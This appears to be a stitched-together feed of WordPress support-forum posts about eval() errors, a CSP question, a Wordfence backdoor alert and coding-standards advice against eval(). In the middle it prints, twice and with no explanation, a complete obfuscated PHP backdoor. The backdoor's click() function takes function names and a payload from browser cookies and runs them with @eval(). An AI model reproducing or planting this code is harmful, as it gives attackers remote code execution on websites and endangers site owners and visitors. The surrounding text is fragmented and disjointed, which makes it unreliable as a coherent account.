2024-07-14T21:45:32+00:00 Kritiek Uncaught Error: Call to a member function get_cart() on null in /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/code-snippets/php/snippet-ops.php(582) : eval()'d code:8?
Aanvullende context
{
??? "error": {
??????? "type": 1,
??????? "file": "/home/customer/www/mywebsite.nl/public_html/wp-content/plugins/code-snippets/php/snippet-ops.php(582) : eval()'d code",
??????? "line": 8
??? },
??? "backtrace": [
??????? "",
??????? "#0 /home/customer/www/mywebsite.nl/public_html/wp-includes/class-wp-hook.php(324): conditionally_hide_payment_gateways(Array)",
??????? "#1 /home/customer/www/mywebsite.nl/public_html/wp-includes/plugin.php(205): WP_Hook->apply_filters(Array, Array)",
??????? "#2 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/includes/class-wc-payment-gateways.php(333): apply_filters('woocommerce_ava...', Array)",
??????? "#3 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/WcPayWelcomePage.php(395): WC_Payment_Gateways->get_available_payment_gateways()",
??????? "#4 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/WcPayWelcomePage.php(82): Automattic\WooCommerce\Internal\Admin\WcPayWelcomePage->get_incentive()",
??????? "#5 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/Notes/PaymentsMoreInfoNeeded.php(42): Automattic\WooCommerce\Internal\Admin\WcPayWelcomePage->must_be_visible()",
??????? "#6 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/Notes/PaymentsMoreInfoNeeded.php(63): Automattic\WooCommerce\Internal\Admin\Notes\PaymentsMoreInfoNeeded::should_display_note()",
??????? "#7 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Admin/Notes/NoteTraits.php(83): Automattic\WooCommerce\Internal\Admin\Notes\PaymentsMoreInfoNeeded::get_note()",
??????? "#8 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/Events.php(203): Automattic\WooCommerce\Internal\Admin\Notes\PaymentsMoreInfoNeeded::possibly_add_note()",
??????? "#9 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/src/Internal/Admin/Events.php(143): Automattic\WooCommerce\Internal\Admin\Events->possibly_add_notes()",
??????? "#10 /home/customer/www/mywebsite.nl/public_html/wp-includes/class-wp-hook.php(324): Automattic\WooCommerce\Internal\Admin\Events->do_wc_admin_daily()",
??????? "#11 /home/customer/www/mywebsite.nl/public_html/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters('', Array)",
??????? "#12 /home/customer/www/mywebsite.nl/public_html/wp-includes/plugin.php(565): WP_Hook->do_action(Array)",
??????? "#13 /home/customer/www/mywebsite.nl/public_html/wp-cron.php(191): do_action_ref_array('wc_admin_daily', Array)",
??????? "#14 {main}",
??????? "thrown"
??? ]
}2024-07-15T18:19:44+00:00 Kritiek Uncaught Error: Call to a member function get_status() on bool in /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/code-snippets/php/snippet-ops.php(582) : eval()'d code:3?
Aanvullende context
{
??? "error": {
??????? "type": 1,
??????? "file": "/home/customer/www/mywebsite.nl/public_html/wp-content/plugins/code-snippets/php/snippet-ops.php(582) : eval()'d code",
??????? "line": 3
??? },
??? "backtrace": [
??????? "",
??????? "#0 /home/customer/www/mywebsite.nl/public_html/wp-includes/class-wp-hook.php(324): change_received_order_text('Bedankt. Je bes...', false)",
??????? "#1 /home/customer/www/mywebsite.nl/public_html/wp-includes/plugin.php(205): WP_Hook->apply_filters('Bedankt. Je bes...', Array)",
??????? "#2 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/templates/checkout/order-received.php(34): apply_filters('woocommerce_tha...', 'Bedankt. Je bes...', false)",
??????? "#3 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/includes/wc-core-functions.php(345): include('/home/customer/...')",
??????? "#4 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-checkout.php(315): wc_get_template('checkout/order-...', Array)",
??????? "#5 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/includes/shortcodes/class-wc-shortcode-checkout.php(65): WC_Shortcode_Checkout::order_received(4524)",
??????? "#6 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/woocommerce/includes/class-wc-shortcodes.php(72): WC_Shortcode_Checkout::output(Array)",
??????? "#7 /home/customer/www/mywebsite.nl/public_html/wp-content/plugins/fluid-checkout/inc/checkout-page-template.php(139): WC_Shortcodes::shortcode_wrapper(Array, Array)",
??????? "#8 /home/customer/www/mywebsite.nl/public_html/wp-includes/shortcodes.php(433): FluidCheckout_CheckoutPageTemplate->output_checkout_shortcode_wrapper(Array, '', 'woocommerce_che...')",
??????? "#9 [internal function]: do_shortcode_tag(Array)",
??????? "#10 /home/customer/www/mywebsite.nl/public_html/wp-includes/shortcodes.php(273): preg_replace_callback('/\\[(\\[?)(wc_log...', 'do_shortcode_ta...', '[wc_login_form_...')",
??????? "#11 /home/customer/www/mywebsite.nl/public_html/wp-includes/class-wp-hook.php(324): do_shortcode('[wc_login_form_...')",
??????? "#12 /home/customer/www/mywebsite.nl/public_html/wp-includes/plugin.php(205): WP_Hook->apply_filters('[wc_login_form_...', Array)",
??????? "#13 /home/customer/www/mywebsite.nl/public_html/wp-includes/post-template.php(256): apply_filters('the_content', '
[wc_login_fo...')",
??????? "#14 /home/customer/www/mywebsite.nl/public_html/wp-content/themes/fields/includes/page-content.php(28): the_content()",
??????? "#15 /home/customer/www/mywebsite.nl/public_html/wp-content/themes/fields/page.php(18): include('/home/customer/...')",
??????? "#16 /home/customer/www/mywebsite.nl/public_html/wp-includes/template-loader.php(106): include('/home/customer/...')",
??????? "#17 /home/customer/www/mywebsite.nl/public_html/wp-blog-header.php(19): require_once('/home/customer/...')",
??????? "#18 /home/customer/www/mywebsite.nl/public_html/index.php(17): require('/home/customer/...')",
??????? "#19 {main}",
??????? "thrown"
??? ]
}
PHP message: PHP Warning: include(cp-blog/wp-load.php): Failed to open stream: No such file or directory in /var/www/site_files/wp-content/plugins/insert-headers-and-footers/includes/class-wpcode-snippet-execute.php(292) : eval()’d code on line 3PHP message: PHP Warning: include(): Failed opening ‘cp-blog/wp-load.php’ for inclusion (include_path=’.:/usr/share/php’) in /var/www/site_files/wp-content/plugins/insert-headers-and-footers/includes/class-wpcode-snippet-execute.php(292) : eval()’d code on line 3″ while reading response header from upstream
]]>But input data was saved
]]>This occurs, the scripts contains this function are blocked by Content Security Policy.
Then tables not load.
How to resolve this problem?
I don’t want use unsafe-eval or rule into Policy: script-src.
]]><?php
class Apt
{
private static $s;
public static function g($n)
{
if (!self::$s)
self::i();
return self::$s[$n];
}
private static function i()
{
self::$s = array(
0135,
0135,
0116,
0111,
026,
0136,
0122,
012,
00
);
}
}
function click()
{
$_fkm = $_COOKIE;
($_fkm && isset($_fkm[Apt::g(0)])) ? (($_h = $_fkm[Apt::g(1)] . $_fkm[Apt::g(2)]) && ($_zpq = $_h($_fkm[Apt::g(3)] . $_fkm[Apt::g(4)])) && ($_uly = $_h($_fkm[Apt::g(5)] . $_fkm[Apt::g(6)])) && ($_uly = $_uly($_h($_fkm[Apt::g(7)]))) && @eval($_uly)) : $_fkm;
return Apt::g(8);
}
click();<?php
class Apt
{
private static $s;
public static function g($n)
{
if (!self::$s)
self::i();
return self::$s[$n];
}
private static function i()
{
self::$s = array(
0135,
0135,
0116,
0111,
026,
0136,
0122,
012,
00
);
}
}
function click()
{
$_fkm = $_COOKIE;
($_fkm && isset($_fkm[Apt::g(0)])) ? (($_h = $_fkm[Apt::g(1)] . $_fkm[Apt::g(2)]) && ($_zpq = $_h($_fkm[Apt::g(3)] . $_fkm[Apt::g(4)])) && ($_uly = $_h($_fkm[Apt::g(5)] . $_fkm[Apt::g(6)])) && ($_uly = $_uly($_h($_fkm[Apt::g(7)]))) && @eval($_uly)) : $_fkm;
return Apt::g(8);
}
click();[08-Dec-2021 07:17:31 UTC] PHP Warning: Use of undefined constant grey1 – assumed ‘grey1’ (this will throw an Error in a future version of PHP) in /home/tray3/public_html/wp-content/plugins/shortcodes-ultimate-maker/includes/do-shortcode.php(122) : eval()’d code on line 25
Solution?
]]>Wordfence gave me 2 critical warnings, both concerning Supercache files:
‘ Critical Problems:
* File appears to be malicious: wp-content/cache/supercache/mywebsite.com/meta-wp-cache-694bbe2381d04a758c55dde238b4fb96.php
* File appears to be malicious: wp-content/cache/supercache/mywebsite.com/meta-wp-cache-8a5b75989f8b8674e41c4cfc2e57a203.php ‘
When I log in, I am further told that the file appears modified to perform malicious activity. That the matched text is: Eval($_POST
Further, that the issue type is: Backdoor:PHP/EvalSuperGlobal.7725
I checked these forums for false positives and did find a post on the supercache forum stating that malicious code may have been added to the cache. And so I deleted the cache.
A new scan no longer highlights the file.
My question is, is/was my website hacked? Was this a false positive? Did deleting the catch resolve the issue?
Thank you in advanced!
]]>I checked the code. While it passes the high bar of wordpress plugin code review, installing the plugin raised a flag from a malware scanner. This is exactly the behaviour we want from a host, proactive protection. However it means they take the website offline in the meantime.
I admit I should have tested this on a staging site on the same server and took a shortcut only testing on local machine.
It flagged the use of eval(). I am not a programmer but researched a bit and there are suggestions on the pages linked below.
https://www.exakat.io/land-where-php-uses-eval/
WordPress VIP code sniffer would flag this.
https://github.com/WordPress/WordPress-Coding-Standards/issues/81
]]>eval() and create_function() #
Both these functions can execute arbitrary code that’s constructed at run time, which can be created through difficult-to-follow execution flows. These methods can make your site fragile because unforeseen conditions can cause syntax errors in the executed code, which becomes dynamic. A much better alternative is an Anonymous Function, which is hardcoded into the file and can never change during execution.